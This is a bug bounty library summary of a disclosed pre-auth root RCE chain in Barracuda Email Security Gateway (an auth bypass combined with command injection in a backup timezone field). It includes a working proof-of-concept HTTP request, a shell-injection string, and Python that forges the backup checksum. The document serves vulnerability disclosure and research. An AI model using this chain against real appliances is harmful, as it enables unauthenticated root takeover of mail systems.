# Barracuda Networks is your new best friend (Barracuda Email Security Gateway Pre-Auth Remote Root RCE CVE-2026-116606 / CVE-2026-111560)

Failed password-change in Barracuda ESG returns userrole instead of bailing out, letting unauthenticated attackers reach a backup-restore handler whose timezone field is shell-injected, yielding root RCE.

- Payout: Research
- Severity: critical
- Program: Barracuda Email Security Gateway
- Write-up by: Sina Kheirkhah (@SinSinology)
- Disclosed: 2026-11-05
- CVE: CVE-2026-116606, CVE-2026-111560
- Write-up quality: 9/10
- Original: https://labs.watchtowr.com/barracuda-networks-is-your-new-best-friend-barracuda-email-security-gateway-pre-auth-remote-root-rce-cve-2026-116606-cve-2026-111560/
- Library page: https://bugbountylibrary.com/r/blog%3Alabs-watchtowr-com-barracuda-networks-is-your-new-best-friend-barracuda-email-security-gateway-pre-auth-remote-root-rce-
- Tags: area:web domain:web impact:privesc impact:rce kind:research platform:research sev:critical technique:chained technique:source-review vuln:auth-bypass vuln:command-injection vuln:rce

**Target:** /cgi-mod/index.cgi password-change and bayesian backup upload handlers
**Root cause:** Index.pm returns $userrole instead of bailout() on ERROR_PASSWD_CHANGE, so response() continues running module handlers for an unauthenticated session. Separately, Backup2::finalize_restore and fix_tz.pl interpolate the attacker-controlled system_timezone into backtick sed commands run via sudo.
**Steps:**
1. Diff ESG 9.4.0.027 vs 9.4.0.029; Patch-1 comment reveals 'Pre-authentication authorization bypass permits arbitrary Spam_Config restore'.
2. POST to `/cgi-mod/index.cgi` with `user=admin&new_password=one&retype_password=two`; failed password change returns $userrole and execution continues instead of bailing out.
3. Build a tar backup containing backup.xml with a Spam_Config component and a gzipped MySQL dump setting system_timezone to `UTC#';touch /tmp/watchTowr;#`.
4. Compute file checksum as `hashlib.md5(mysql_dump + CHECKSUM_SECRET + b".").hexdigest()` so restore validation passes.
5. Send multipart POST to `/cgi-mod/index.cgi` with new_password/retype_password, `UPDATE_activation_code=1`, `pu_bayesian_upload=1`, and `bayesian` file = crafted tar.
6. bayesian_upload_handler calls restore_all -> finalize_restore, which runs `sed -i 's#TZ=.*#TZ=$system_timezone#' /home/product/code/config/tz` via backticks, executing the injected command as root.
**How found:** Patch diffing two ESG versions; installer comment named the auth bypass, and the Index.pm diff showed return $userrole instead of bailout() on failed password change. Patch-2 diff showed backtick sed calls replaced with file I/O plus a zoneinfo path check, revealing the injection sink and the sudo fix_tz.pl call.
**Exploitation:** Unauthenticated attacker abuses the password-change auth bypass to keep the request alive, then uploads a crafted backup via the bayesian upload handler. The backup's Spam_Config MySQL dump sets system_timezone to a shell-metacharacter payload; finalize_restore interpolates it into a backtick sed command executed with sudo, giving root command execution.
**Escalation:** Chains the pre-auth authorization bypass (CVE-2026-116606) with the OS command injection (CVE-2026-111560) to convert an unauthenticated request into root RCE.
**Insight:** When a patch replaces backticks with open/print and adds a path-existence check on a config value, that value is the injection source; trace which restore/import path lets an unauthenticated user write it. Also, a failed-auth branch that returns a role object instead of a bailout keeps the request pipeline running into other handlers.

## Proof of concept (copied exactly from the original report)

**Chained PoC request: auth bypass plus malicious backup upload**

```
POST /cgi-mod/index.cgi HTTP/1.1
Host: barracuda.com
Content-Type: multipart/form-data; boundary=BOUNDARY

--BOUNDARY
Content-Disposition: form-data; name="user"

admin
--BOUNDARY
Content-Disposition: form-data; name="new_password"

one
--BOUNDARY
Content-Disposition: form-data; name="retype_password"

two
--BOUNDARY
Content-Disposition: form-data; name="UPDATE_activation_code"

1
--BOUNDARY
Content-Disposition: form-data; name="pu_bayesian_upload"

1
--BOUNDARY
Content-Disposition: form-data; name="bayesian"; filename="poc.bak"
Content-Type: application/octet-stream

<TAR BACKUP>
--BOUNDARY--
```

**Malicious system_timezone value for command injection**

```
UTC#';touch /tmp/watchTowr;#
```

**Python checksum computation for forged backup**

```
47: mysql_dump = gzip.compress(sql, compresslevel=9, mtime=0)
48: checksum = hashlib.md5(mysql_dump + CHECKSUM_SECRET + b".").hexdigest()
49: timestamp = time.strftime("%Y%m%dT%H%M%S", time.gmtime())
50: backup_xml = f"""<?xml version='1.0' standalone='yes'?>
51: <backup>
52: <component name="Spam_Config">
53: <file id="mysql" checksum="{checksum}" path="mysql-poc.gz" />
```

